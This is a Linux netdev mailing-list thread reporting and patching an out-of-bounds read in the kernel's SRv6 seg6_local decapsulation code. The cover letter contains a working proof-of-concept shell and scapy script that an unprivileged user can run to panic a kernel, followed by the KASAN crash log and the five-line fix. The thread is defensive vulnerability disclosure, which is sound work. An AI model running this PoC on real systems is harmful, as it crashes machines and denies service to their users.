* [PATCH net 0/1] seg6: reset IP6CB after IPv6 decapsulation
@ 2026-08-16 16:09 Zhiling Zou
2026-08-16 16:09 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-08-16 16:09 UTC (permalink / raw)
To: netdev
Cc: andrea.mayer, davem, edumazet, pabeni, horms, david.lebrun, vega,
zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv6/seg6_local.c. The bug is
reachable by a non-root user via user and net namespace.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
decap_and_validate() locates the inner IPv6 header, pulls the outer
SRv6 envelope, and resets skb->network_header and skb->transport_header.
It leaves IP6CB(skb) unchanged. If the outer packet was locally
delivered through extension-header parsing first, fields such as nhoff,
flags, Router Alert state, and routing-header state still describe the
outer packet.
input_action_end_dt6() and input_action_end_dx6() route the inner IPv6
packet directly to the IPv6 input path. In the PoC, outer Hop-by-Hop
and Destination Options headers leave IP6CB(skb)->nhoff at a large
outer offset before the SRH redirects the skb to an End.DT6 SID. After
decapsulation, ip6_protocol_deliver_rcu() uses that stale nhoff on the
minimal inner IPv6 packet and reads past the skb head allocation.
The fix clears IP6CB(skb) after IPv6 decapsulation, restores the
incoming interface index, and initializes nhoff to the inner IPv6 base
header's nexthdr field before delivering the packet.
Reproducer:
sh poc.sh
The script re-executes itself in a fresh user and net namespace. We run
the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin
if [ "${POC_INNER:-0}" != "1" ]; then
exec unshare -Urn env POC_INNER=1 PATH="$PATH" "$0"
fi
ip link add veth0 type veth peer name veth1
ip link set lo up
ip link set veth0 up
ip link set veth1 up
ip -6 addr add 2001:db8:1::1/64 dev veth0
ip -6 addr add 2001:db8:1::2/64 dev veth1
ip -6 addr add 2001:db8:100::1/128 dev lo
ip -6 addr add 2001:db8:200::1/128 dev lo
sysctl -q -w net.ipv6.conf.all.seg6_enabled=1
sysctl -q -w net.ipv6.conf.default.seg6_enabled=1
sysctl -q -w net.ipv6.conf.veth0.seg6_enabled=1
sysctl -q -w net.ipv6.conf.veth1.seg6_enabled=1
ip -6 route add 2001:db8:100::2/128 encap seg6local action End.DT6 table 42 dev veth0
ip -6 route add local 2001:db8:200::1/128 dev lo table 42
python3 - <<'PY'
import re
import subprocess
from scapy.all import (
Ether,
HBHOptUnknown,
IPv6,
IPv6ExtHdrDestOpt,
IPv6ExtHdrHopByHop,
IPv6ExtHdrSegmentRouting,
conf,
sendp,
)
conf.verb = 0
link = subprocess.check_output(["ip", "-o", "link", "show", "dev", "veth0"], text=True)
v0mac = re.search(r"link/ether ([0-9a-f:]+)", link).group(1)
opts = [HBHOptUnknown(otype=0x1E + i, optdata=bytes([0x30 + i]) * 250) for i in range(4)]
hbh = IPv6ExtHdrHopByHop(options=opts)
dst = IPv6ExtHdrDestOpt(options=[])
outer = IPv6(src="2001:db8:1::2", dst="2001:db8:100::1", hlim=64)
srh = IPv6ExtHdrSegmentRouting(
addresses=["2001:db8:100::2", "2001:db8:100::1"],
segleft=1,
lastentry=1,
)
inner = IPv6(src="2001:db8:1::2", dst="2001:db8:200::1", hlim=63, nh=59)
pkt = Ether(dst=v0mac) / outer / hbh / dst / srh / inner
sendp(pkt, iface="veth1")
print("packet_sent")
PY
------END poc.sh--------
----BEGIN crash log----
[ 509.356948] [ T11021] veth1: entered promiscuous mode
[ 509.364211] [ C1] ==================================================================
[ 509.364237] [ C1] BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.364357] [ C1] Read of size 1 at addr ffff888102715880 by task python3/11021
[ 509.364541] [ C1] CPU: 1 UID: 1028 PID: 11021 Comm: python3 Not tainted 6.12.95 #2
[ 509.364557] [ C1] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 509.364584] [ C1] Call Trace:
[ 509.364596] [ C1] <IRQ>
[ 509.364612] [ C1] dump_stack_lvl+0x78/0xe0
[ 509.364678] [ C1] print_report+0xc6/0x620
[ 509.364737] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.364747] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.364774] [ C1] ? __virt_addr_valid+0x1f3/0x3d0
[ 509.364825] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.364835] [ C1] kasan_report+0xd8/0x110
[ 509.364852] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.364875] [ C1] ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.364883] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.364890] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.364937] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.364957] [ C1] ip6_input_finish+0x11b/0x240
[ 509.364965] [ C1] ? ip6_input+0x78/0xb0
[ 509.364976] [ C1] seg6_local_input_core+0xed/0x2e0
[ 509.364996] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365008] [ C1] lwtunnel_input+0x1e9/0x4e0
[ 509.365043] [ C1] ipv6_rthdr_rcv+0x525f/0x6c50
[ 509.365064] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.365072] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.365090] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365109] [ C1] ? raw6_local_deliver+0x16f/0x8a0
[ 509.365136] [ C1] ? __pfx_ipv6_rthdr_rcv+0x10/0x10
[ 509.365155] [ C1] ? __pfx_raw6_local_deliver+0x10/0x10
[ 509.365164] [ C1] ? ipv6_destopt_rcv+0x3e2/0xc00
[ 509.365189] [ C1] ip6_protocol_deliver_rcu+0xcb7/0x1450
[ 509.365199] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.365217] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365232] [ C1] ? __pfx_ipv6_rcv+0x10/0x10
[ 509.365241] [ C1] ? process_backlog+0x38c/0x1400
[ 509.365260] [ C1] ip6_input_finish+0x11b/0x240
[ 509.365268] [ C1] ? ip6_input+0x78/0xb0
[ 509.365278] [ C1] __netif_receive_skb_one_core+0x11a/0x1b0
[ 509.365291] [ C1] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 509.365308] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365315] [ C1] ? lock_acquire+0x2f/0xb0
[ 509.365323] [ C1] ? process_backlog+0x38c/0x1400
[ 509.365340] [ C1] process_backlog+0x3cc/0x1400
[ 509.365356] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365371] [ C1] __napi_poll.constprop.0+0xa1/0x440
[ 509.365387] [ C1] net_rx_action+0x928/0xe20
[ 509.365414] [ C1] ? __pfx_net_rx_action+0x10/0x10
[ 509.365422] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365432] [ C1] ? sched_ttwu_pending+0x2f3/0x600
[ 509.365473] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.365524] [ C1] handle_softirqs+0x2ae/0x8b0
[ 509.365563] [ C1] ? __pfx_handle_softirqs+0x10/0x10
[ 509.365575] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365582] [ C1] ? irqtime_account_irq+0x24/0x2e0
[ 509.365605] [ C1] ? __dev_queue_xmit+0x897/0x37e0
[ 509.365617] [ C1] do_softirq+0xb2/0xf0
[ 509.365629] [ C1] </IRQ>
[ 509.365634] [ C1] <TASK>
[ 509.365639] [ C1] __local_bh_enable_ip+0x101/0x120
[ 509.365649] [ C1] ? __dev_queue_xmit+0x897/0x37e0
[ 509.365658] [ C1] __dev_queue_xmit+0x8ac/0x37e0
[ 509.365673] [ C1] ? __might_fault+0xb6/0x120
[ 509.365717] [ C1] ? __pfx___dev_queue_xmit+0x10/0x10
[ 509.365737] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365747] [ C1] ? iov_iter_single_seg_count+0x1f0/0x300
[ 509.365797] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365818] [ C1] ? packet_parse_headers+0x469/0x9b0
[ 509.365857] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365864] [ C1] ? packet_parse_headers+0x469/0x9b0
[ 509.365880] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365887] [ C1] ? __check_object_size+0x2eb/0x4f0
[ 509.365912] [ C1] ? __pfx_sock_alloc_send_pskb+0x10/0x10
[ 509.365938] [ C1] ? __pfx_packet_parse_headers+0x10/0x10
[ 509.365950] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.365969] [ C1] ? skb_copy_datagram_from_iter+0xfa/0x6f0
[ 509.365993] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366012] [ C1] packet_sendmsg+0x2162/0x4d90
[ 509.366040] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366049] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.366061] [ C1] ? __pfx___might_resched+0x10/0x10
[ 509.366092] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366116] [ C1] ? aa_sk_perm+0x1d8/0x8d0
[ 509.366160] [ C1] ? __pfx_packet_sendmsg+0x10/0x10
[ 509.366185] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366192] [ C1] ? apparmor_socket_sendmsg+0x2e/0x200
[ 509.366221] [ C1] __sys_sendto+0x349/0x3a0
[ 509.366240] [ C1] ? __pfx___sys_sendto+0x10/0x10
[ 509.366248] [ C1] ? reacquire_held_locks+0x20b/0x4c0
[ 509.366258] [ C1] ? do_user_addr_fault+0x854/0xe10
[ 509.366293] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366335] [ C1] __x64_sys_sendto+0xe0/0x1c0
[ 509.366346] [ C1] ? do_syscall_64+0x93/0x270
[ 509.366376] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.366384] [ C1] ? lockdep_hardirqs_on+0x7b/0x110
[ 509.366401] [ C1] do_syscall_64+0xc7/0x270
[ 509.366418] [ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 509.366450] [ C1] RIP: 0033:0x7f58d6971687
[ 509.366476] [ C1] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 509.366484] [ C1] RSP: 002b:00007ffeddf41b20 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 509.366511] [ C1] RAX: ffffffffffffffda RBX: 00007f58d68dd780 RCX: 00007f58d6971687
[ 509.366518] [ C1] RDX: 0000000000000486 RSI: 0000000003bee930 RDI: 0000000000000003
[ 509.366523] [ C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 509.366527] [ C1] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 509.366532] [ C1] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
[ 509.366562] [ C1] </TASK>
[ 509.366804] [ C1] Allocated by task 11021:
[ 509.366824] [ C1] kasan_save_stack+0x33/0x60
[ 509.366846] [ C1] kasan_save_track+0x14/0x30
[ 509.366859] [ C1] __kasan_kmalloc+0xaa/0xb0
[ 509.366873] [ C1] __kmalloc_node_track_caller_noprof+0x1ef/0x430
[ 509.366899] [ C1] kmalloc_reserve+0xc0/0x240
[ 509.366912] [ C1] __alloc_skb+0x114/0x2e0
[ 509.366926] [ C1] alloc_skb_with_frags+0xc2/0x820
[ 509.366941] [ C1] sock_alloc_send_pskb+0x687/0x820
[ 509.366955] [ C1] packet_sendmsg+0x1b26/0x4d90
[ 509.366970] [ C1] __sys_sendto+0x349/0x3a0
[ 509.366984] [ C1] __x64_sys_sendto+0xe0/0x1c0
[ 509.366997] [ C1] do_syscall_64+0xc7/0x270
[ 509.367012] [ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 509.367043] [ C1] The buggy address belongs to the object at ffff888102715000
which belongs to the cache kmalloc-2k of size 2048
[ 509.367062] [ C1] The buggy address is located 128 bytes to the right of
allocated 2048-byte region [ffff888102715000, ffff888102715800)
[ 509.367085] [ C1] The buggy address belongs to the physical page:
[ 509.367113] [ C1] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x102710
[ 509.367132] [ C1] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 509.367145] [ C1] flags: 0x17ff00000000040(head|node=0|zone=2|lastcpupid=0x7ff)
[ 509.367173] [ C1] page_type: f5(slab)
[ 509.367291] [ C1] page_owner tracks the page as allocated
[ 509.368235] [ C1] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10248, tgid 10248 (systemd), ts 134558531010, free_ts 134550925179
[ 509.371473] [ C1] page last free pid 10248 tgid 10248 stack trace:
[ 509.372987] [ C1] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 509.374177] [ C1] CPU: 1 UID: 1028 PID: 11021 Comm: python3 Not tainted 6.12.95 #2
[ 509.375391] [ C1] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 509.377281] [ C1] Call Trace:
[ 509.377753] [ C1] <IRQ>
[ 509.378185] [ C1] panic+0x533/0x610
[ 509.378759] [ C1] ? __pfx_panic+0x10/0x10
[ 509.379415] [ C1] ? irqentry_exit+0x3b/0x90
[ 509.380079] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.380996] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.381852] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.382705] [ C1] check_panic_on_warn+0x61/0x80
[ 509.383416] [ C1] end_report+0x11b/0x180
[ 509.384041] [ C1] kasan_report+0xe8/0x110
[ 509.384685] [ C1] ? ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.385540] [ C1] ip6_protocol_deliver_rcu+0x1118/0x1450
[ 509.386338] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.387163] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.387893] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.388683] [ C1] ip6_input_finish+0x11b/0x240
[ 509.389397] [ C1] ? ip6_input+0x78/0xb0
[ 509.390002] [ C1] seg6_local_input_core+0xed/0x2e0
[ 509.390725] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.391512] [ C1] lwtunnel_input+0x1e9/0x4e0
[ 509.392182] [ C1] ipv6_rthdr_rcv+0x525f/0x6c50
[ 509.392913] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.393628] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.394375] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.395153] [ C1] ? raw6_local_deliver+0x16f/0x8a0
[ 509.396012] [ C1] ? __pfx_ipv6_rthdr_rcv+0x10/0x10
[ 509.396790] [ C1] ? __pfx_raw6_local_deliver+0x10/0x10
[ 509.397608] [ C1] ? ipv6_destopt_rcv+0x3e2/0xc00
[ 509.398416] [ C1] ip6_protocol_deliver_rcu+0xcb7/0x1450
[ 509.399236] [ C1] ? trace_lock_acquire+0x145/0x1c0
[ 509.399955] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.400756] [ C1] ? __pfx_ipv6_rcv+0x10/0x10
[ 509.401424] [ C1] ? process_backlog+0x38c/0x1400
[ 509.402144] [ C1] ip6_input_finish+0x11b/0x240
[ 509.402819] [ C1] ? ip6_input+0x78/0xb0
[ 509.403420] [ C1] __netif_receive_skb_one_core+0x11a/0x1b0
[ 509.404277] [ C1] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 509.405197] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.405966] [ C1] ? lock_acquire+0x2f/0xb0
[ 509.406634] [ C1] ? process_backlog+0x38c/0x1400
[ 509.407383] [ C1] process_backlog+0x3cc/0x1400
[ 509.408121] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.408945] [ C1] __napi_poll.constprop.0+0xa1/0x440
[ 509.409720] [ C1] net_rx_action+0x928/0xe20
[ 509.410397] [ C1] ? __pfx_net_rx_action+0x10/0x10
[ 509.411121] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.411892] [ C1] ? sched_ttwu_pending+0x2f3/0x600
[ 509.412638] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.413411] [ C1] handle_softirqs+0x2ae/0x8b0
[ 509.414089] [ C1] ? __pfx_handle_softirqs+0x10/0x10
[ 509.414830] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.415620] [ C1] ? irqtime_account_irq+0x24/0x2e0
[ 509.416424] [ C1] ? __dev_queue_xmit+0x897/0x37e0
[ 509.416987] [ C1] do_softirq+0xb2/0xf0
[ 509.417476] [ C1] </IRQ>
[ 509.417793] [ C1] <TASK>
[ 509.418129] [ C1] __local_bh_enable_ip+0x101/0x120
[ 509.418696] [ C1] ? __dev_queue_xmit+0x897/0x37e0
[ 509.419265] [ C1] __dev_queue_xmit+0x8ac/0x37e0
[ 509.419822] [ C1] ? __might_fault+0xb6/0x120
[ 509.420362] [ C1] ? __pfx___dev_queue_xmit+0x10/0x10
[ 509.420943] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.421598] [ C1] ? iov_iter_single_seg_count+0x1f0/0x300
[ 509.422260] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.422881] [ C1] ? packet_parse_headers+0x469/0x9b0
[ 509.423498] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.424118] [ C1] ? packet_parse_headers+0x469/0x9b0
[ 509.424713] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.425355] [ C1] ? __check_object_size+0x2eb/0x4f0
[ 509.425926] [ C1] ? __pfx_sock_alloc_send_pskb+0x10/0x10
[ 509.426546] [ C1] ? __pfx_packet_parse_headers+0x10/0x10
[ 509.427186] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.427788] [ C1] ? skb_copy_datagram_from_iter+0xfa/0x6f0
[ 509.428437] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.429052] [ C1] packet_sendmsg+0x2162/0x4d90
[ 509.429591] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.430234] [ C1] ? __pfx_lock_release+0x10/0x10
[ 509.430778] [ C1] ? __pfx___might_resched+0x10/0x10
[ 509.431389] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.431997] [ C1] ? aa_sk_perm+0x1d8/0x8d0
[ 509.432504] [ C1] ? __pfx_packet_sendmsg+0x10/0x10
[ 509.433085] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.433701] [ C1] ? apparmor_socket_sendmsg+0x2e/0x200
[ 509.434306] [ C1] __sys_sendto+0x349/0x3a0
[ 509.434622] [ C1] ? __pfx___sys_sendto+0x10/0x10
[ 509.434949] [ C1] ? reacquire_held_locks+0x20b/0x4c0
[ 509.435305] [ C1] ? do_user_addr_fault+0x854/0xe10
[ 509.435654] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.436027] [ C1] __x64_sys_sendto+0xe0/0x1c0
[ 509.436355] [ C1] ? do_syscall_64+0x93/0x270
[ 509.436652] [ C1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 509.437010] [ C1] ? lockdep_hardirqs_on+0x7b/0x110
[ 509.437354] [ C1] do_syscall_64+0xc7/0x270
[ 509.437647] [ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 509.438184] [ C1] RIP: 0033:0x7f58d6971687
[ 509.438660] [ C1] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 509.441205] [ C1] RSP: 002b:00007ffeddf41b20 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 509.442681] [ C1] RAX: ffffffffffffffda RBX: 00007f58d68dd780 RCX: 00007f58d6971687
[ 509.444273] [ C1] RDX: 0000000000000486 RSI: 0000000003bee930 RDI: 0000000000000003
[ 509.445653] [ C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 509.447049] [ C1] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 509.448479] [ C1] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
[ 509.449839] [ C1] </TASK>
[ 509.450688] [ C1] Kernel Offset: disabled
[ 509.451332] [ C1] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
seg6: reset IP6CB after IPv6 decapsulation
net/ipv6/seg6_local.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net 1/1] seg6: reset IP6CB after IPv6 decapsulation
2026-08-16 16:09 [PATCH net 0/1] seg6: reset IP6CB after IPv6 decapsulation Zhiling Zou
@ 2026-08-16 16:09 ` Zhiling Zou
0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-08-16 16:09 UTC (permalink / raw)
To: netdev
Cc: andrea.mayer, davem, edumazet, pabeni, horms, david.lebrun, vega,
zhilinz
decap_and_validate() pulls the outer SRv6 headers and makes the
inner packet the skb network header. The IPv6 control block still
contains values collected while parsing the outer packet, including
nhoff and extension-header flags.
End.DX6 and End.DT6 then route the inner IPv6 packet directly to
the IPv6 input path. If an outer extension header left a large
nhoff, ip6_protocol_deliver_rcu() reads
skb_network_header(skb)[nhoff] from the inner packet, which may be
beyond the skb head.
Clear IP6CB after IPv6 decapsulation, restore the incoming interface,
and initialize nhoff to the inner IPv6 base-header nexthdr field before
delivering the packet.
Fixes: d7a669dd2f8b ("ipv6: sr: add helper functions for seg6local")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv6/seg6_local.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/ipv6/seg6_local.c b/net/ipv6/seg6_local.c
index 2b41e4c0dddd1..4df76fa85d6b4 100644
--- a/net/ipv6/seg6_local.c
+++ b/net/ipv6/seg6_local.c
@@ -253,6 +253,11 @@ static bool decap_and_validate(struct sk_buff *skb, int proto)
skb_reset_network_header(skb);
skb_reset_transport_header(skb);
+ if (proto == IPPROTO_IPV6) {
+ memset(IP6CB(skb), 0, sizeof(*IP6CB(skb)));
+ IP6CB(skb)->iif = skb->skb_iif;
+ IP6CB(skb)->nhoff = offsetof(struct ipv6hdr, nexthdr);
+ }
if (iptunnel_pull_offloads(skb))
return false;
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
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